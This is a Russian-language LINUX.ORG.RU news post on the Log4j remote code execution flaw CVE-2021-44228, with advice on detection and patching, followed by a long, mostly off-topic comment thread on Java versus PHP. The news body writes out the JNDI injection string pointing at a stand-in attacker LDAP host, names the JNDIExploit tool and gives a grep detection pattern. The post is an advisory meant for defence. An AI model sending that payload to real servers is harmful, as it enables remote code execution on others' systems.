LINUX.ORG.RU

Критическая уязвимость в Log4j позволяет выполнять произвольный код на сервере

 , ,


0

2

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:

  • Чрезвычайно широкое распростронение библиотеки в экосистеме Java
  • Крайне простой эксплойт
  • Возможность выполнения злоумышленником произвольной команды на сервере
  • Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)

Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.

Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

Как бороться

Уязвимыми следует считать Log4j версии 2.x. Версии 1.x уязвимы только при явном использовании JMSAppender.

Проверить журнал приложения на предмет предпринятых атак можно при помощи egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

Для устранения уязвимости необходимо как можно скорее обновить Log4j до версии 2.15.0. Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups в значение true (для Log4j 2.10+), или путем удаления класса JndiLookup из classpath.

Update Dec 15: Описанные выше меры в ряде случаев не полностью закрывают уязвимость. Рекомендуется обновляться сразу до версии 2.16.0.

>>> Официальная страница Log4j

>>> Log4j RCE Exploitation Detection

>>> JNDIExploit

>>> Как работает JNDI Injection

По отдельным проектам

>>> CVE-2021-44228

anonymous

Проверено: alpha ()
Последнее исправление: alpha (всего исправлений: 4)

Ответ на: комментарий от foror

Ты совсем бо-бо? Твои динамические ЯП давно уже осознали свою ущербность и пытаются переносить хоть какую-то статическую типизацию, чтобы разрабам не было сильно больно.

Статическая типизация - остаётся опциональной.

А твой пыхыч так и подавно с джавы всё тырит.

Он не мой, меня сложно заподозрить в любви к пыху. По мне так это ущербный с самого начала язык (в котором, кстати, вообще никакой типизации не было, как в JS), время которого уже прошло, и это хорошо.

Да, как раз в PHP несколько раз видел наивные попытки скопировать один в один паттерны из Java без реального понимания, зачем они нужны в Java, и почему в PHP стоило бы сделать иначе.

emorozov
()
Ответ на: комментарий от emorozov

Глобальные переменные

Ты будешь удивлён, но глобальные переменные это тоже антипатерн, наравне с синглтоном. Если у тебя есть то или то, то твой код уже отдаёт запашком.

foror ★★★★★
()
Ответ на: комментарий от foror

Ты будешь удивлён, но глобальные переменные это тоже антипатерн, наравне с синглтоном. Если у тебя есть то или то, то твой код уже отдаёт запашком.

Ты просто перефразировал мои слова. Именно это я и утверждал. Просто тут в одной теме, начинателя которой забанили, автор темы требовал, чтобы ему на Python реализовали синглетон, да непростой, а ровно такой же, как в жабе. К сожалению, так и не удалось, по-моему, довести до него мысль, что это в принципе ущербное ничего не доказывающее соревнование.

emorozov
()
Ответ на: комментарий от Legioner

с первого раза даже в нужный проект попасть не смогли, а значки идиота раздаете с барского плеча, думаю, сейчас вы уже пожалели о своем необоснованном высказывании, но интернет все помнит.

abcq ★★
()
Ответ на: комментарий от menangen

тут буквально в соседней теме дотнет разработчик жалуется на джавистов, что дескать, платят им больше остальных, не вяжется как-то с дешевыми кодерами из индии.

abcq ★★
()
Ответ на: комментарий от Xunnu

Kek, половина интернета на джаве

А остальные 78% на пхп.

fernandos ★★★
()
Ответ на: комментарий от abcq

Узбакойся, люди зашли на лор выпустить пар. И logback наверняка идиоты пилят, но из гугла или откуда они там.

foror ★★★★★
()
Ответ на: комментарий от GP

Времена идут, а джависты всё пускают слюни при виде доли пхп.

А вот Java прогера любой банк бережет как зеницу ока

И правильно, язык же умирает, а переписывать проекты дорого.

Место джава сеньора и архитектора может быть вакантно и по три и по четыре года

А сколько времени вакантно место кобол-сеньора?

fernandos ★★★
()
Ответ на: комментарий от WatchCat

slf4j фасад, тут только logback имеет смысл в сравнении, и на их сайте уже обновлена информация что они не разделяют уязвимость с log4j, я вот сейчас точно не вспомню, но очень может быть что logback вырос как форк из log4j, а вот и пруф «Keep in mind that logback is conceptually very similar to log4j 1.x as both projects were founded by the same developer.», иначе информация о «не разделении уязвимости» довольно странный ход поймать хайп на проблемах конкурентов, а нормальные люди с нормальными проектами так обычно не делают.

abcq ★★
()
Ответ на: комментарий от foror

их пилил, ну по крайне мере начинал один и тот же человек, и он явно куда более компетентен чем те, кто себе позволяет такие высказывания, а так, ошибки есть у всех.

abcq ★★
()
Ответ на: комментарий от InterVi

LibreOffice вроде бы на C++

IDE от JetBrains сделали какую-то магию, не иначе под капотом переписали половину JVM и Swing, ибо все остальные GUI на жабе оставляли ужасное впечателение кошмарными лагами при работе (например, при вводе текта) и каким-то уродливым квадратно-гнездовым UI, который не вписывается ни в одно окружение.

emorozov
()
Ответ на: комментарий от fernandos

да там весь список почти в той или иной мере написан не на чистой джаве, в виду своей природы она не способна к хорошим отзывчивым интерфейсам без доработки напильником, и как написали выще «магии» джаваоптимизации.

abcq ★★
()
Ответ на: комментарий от leave

А что ж вы CVE не трекаете?

А какой сейчас удобный способ трекать CVE? Хочется подписаться на рассылку в которой будет приходить новые CVE с рейтингом > X. Но такого не нашел.

Две недели назад подписался на daily security news в vulners telegram bot - только сегодня получил первое сообщение. (о log4j, прошло больше суток после публикации на opennet).

И в CVEProject/cvelist информация появилась на три часа позже чем на opennet.

Tanger ★★★★★
()
Ответ на: комментарий от GP

дай угадаю: бывший фотограф, ныне таксист по ночам, а днём программист на PHP и HTML+CSS увёл у тебя жену и ребёнка по суду отобрал? а почему ты о жене не заботился? всё время на Джаву небось тратил? вооот, а писал бы на PHP, - осталось бы время на жену с ребёнком! и не пришлось бы марать форумы ненавистью к этому программисту-таксисту-фотографу

anonymous
()
Ответ на: комментарий от fernandos

Вы хотите сказать, что это всё равно джава?

как вы делаете выводы которые побуждают вас задавать такие вопросы? Ведь я наоборот, сказал что чистой джавы там нет ни в одном из проектов приведенных в списке. Все прилично работающие проекты с использованием джавы для десктопа это джава для логики + биндинги к С функционалу, и пляска с каким-нибудь низкоуровневым НИО что в сути почти тоже самое.

abcq ★★
()
Ответ на: комментарий от abcq

да там весь список почти в той или иной мере написан не на чистой джаве

Делаю вывод, что это тоже лишь не чистая джава.

Тогда стоит говорить, что это плюсы с вкраплениями джавы для чего-то.

Ну и, судя по тому, что в арче джава у либры — опциональная зависимость, логика там тоже на плюсах.

fernandos ★★★
()
Ответ на: комментарий от GP

И именно поэтому банковский софт 2008го года поддерживаем и в 2021м.

Банки, наверное, уже локти кусают по этому поводу. У них сформировался Cobol 2.0 Впрочем, это не недостаток языка, это фундаментальная проблема сложных программ для больших организаций.

Leupold_cat ★★★★★
()
Последнее исправление: Leupold_cat (всего исправлений: 2)
Ответ на: комментарий от fernandos

относительно либры это так, но джава там все же есть и в опенофисе ее было на пару процентов больше.

с вкраплениями джавы для чего-то

да все для того же, для логики, для расширения своими кастомными сценариями для автоматизации работ в офисном пакете, если брать все эти расширения для которых сделали джава версию апи, кажется uno или как-то так это дело называлось. Возможно от этого и создается впечатление что проект с подавляющим большинством джава кода.

abcq ★★
()
Последнее исправление: abcq (всего исправлений: 1)
Ответ на: комментарий от abcq

относительно либры это так, но джава там все же есть и в опенофисе ее было на пару процентов больше

И слава богу, что они её начали выкидывать.

да все для того же, для логики

Логика там на плюсах, ещё раз, джава — опциональная зависимость.

fernandos ★★★
()
Ответ на: комментарий от fernandos

логика расширений, не самой либры или опенофиса, я же говорю, там есть апи для этого на джаве и на бейсике вроде, ну естественно и на схх тоже кажись было.

abcq ★★
()
Ответ на: комментарий от abcq

По теме будет что сказать? Ты тоже считаешь нормальным парсить переданную для логов строку на предмет какой-то ерунды?

Legioner ★★★★★
()
Ответ на: комментарий от Legioner

Да, считаю нормальным парсить данные, считаю нормальным даже исполнять эти данные если это решает мою задачу, в чем проблема? Это такие же данные и код, как и все остальные данные и код. Какой «какой-то ерунды»? Какая-то ерунда - очень по теме если вы делаете упор на техническую дискуссию. На самом деле суть не в «теме», а в вашей реакции, с которой вы сейчас пытаетесь соскочить, навязывая сутолоку и делая вид что это плохое решение в техническом плане, но нет, это обычное решение, просто была допущена ошибка, которые и вы делаете с завидным постоянством, только в виду того, что у вас нет доступных популярных решений которыми пользуются 10 тысяч людей каждый день вы себе решили позволить называть других людей идиотами публично.

abcq ★★
()
Ответ на: комментарий от anonymous

Только айфон, и только последней версии. Всегда.

едрос детектед

anonymous
()
Ответ на: комментарий от foror

Реальные индусы получают в банках зарплату выше чем у CTO пыхпыхероского стартапа.

Индус — это же ведь чисто российский мем, не имеющий никакого отношения к реальности?

GP
()
Ответ на: комментарий от abcq

Он жалуется на .net, работая всего год. Наверняка, пишет исключительно под винду. Не удивлюсь, если какие нить плагины для 1С, я бы тоже жаловался, работать за гроши в таком болоте

menangen ★★★★★
()
Ответ на: комментарий от GP

Индус - это когда платят за объём кода, а не за эффективность. Недавно была шумиха, где какой-то перец поувальнял весь Java отдел, потому, что в Jira показатели слабые, мол, коммитят вяло, пишут мало

menangen ★★★★★
()
Ответ на: комментарий от menangen

Согласно последнему видосу от Немчинского так пишут китайцы. А у индусов совсем другие особенности.

GP
()
Ответ на: комментарий от Legioner

Вообще, да, обработка проступающих логов - это хорошо и правильно. А вы что, только сырые данные одной строкой храните?

CaveRat ★★
()
Ответ на: комментарий от pacify

*это было написано целым коллективом под управлением Java-менеджера

Я тут слышал, что многие java разрабы в день пишут от силы 10 строчек кода, остальное время проводят в бесконечных совещаниях и тим-билдингах. Надеюсь, ковид немного приземлил их

menangen ★★★★★
()
Ответ на: комментарий от GP

Да мы поняли, что будущее за Kotlin Native, и жёсткими песочницами, где шаг влево-вправо - расстрел! Весь софт будут пускать в контейнере, где будет только .exe и .ini и ядро Linux - только тогда наступит мир и спокойствие!

menangen ★★★★★
()

Elastic Search молодцы: Уязвимость есть, но не может быть использована благодаря корректной настройке Java Security Manager.

Добавила несколько ссылок в новость.

alpha ★★★★★
()

Это все жависты так горят хорошо или только на ЛОРе?

ddidwyll ★★★★
()
Ответ на: комментарий от GP

Индус — это же ведь чисто российский мем, не имеющий никакого отношения к реальности?

Нет. Но если не веришь, рекомендую поработать с ними. А самый цимес - поработать на индийского заказчика или под индийским руководством.

Просветление гарантировано. Ведь Индия - страна просветления!

emorozov
()
Ответ на: комментарий от GP

Ну так создатель node.js это понял и создал deno, где теперь всё на safe Rust и принудительная кастрация

menangen ★★★★★
()
Последнее исправление: menangen (всего исправлений: 1)
Ответ на: комментарий от alpha

Java Security Manager

Его выпиливают, есть планы объявить его deprecated

foror ★★★★★
()
Ответ на: комментарий от Leupold_cat

Ты в курсе смысла фразы «новый кобол»?

Это система с которой уже никто не хочет работать и не хочет дорабатывать.

Так вот, новым коболом стал именно пых пых. А не джава.

И именно поэтому ведущие вендоры пытаются свои пых пых ecommerce системы перевести в клауд.

GP
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.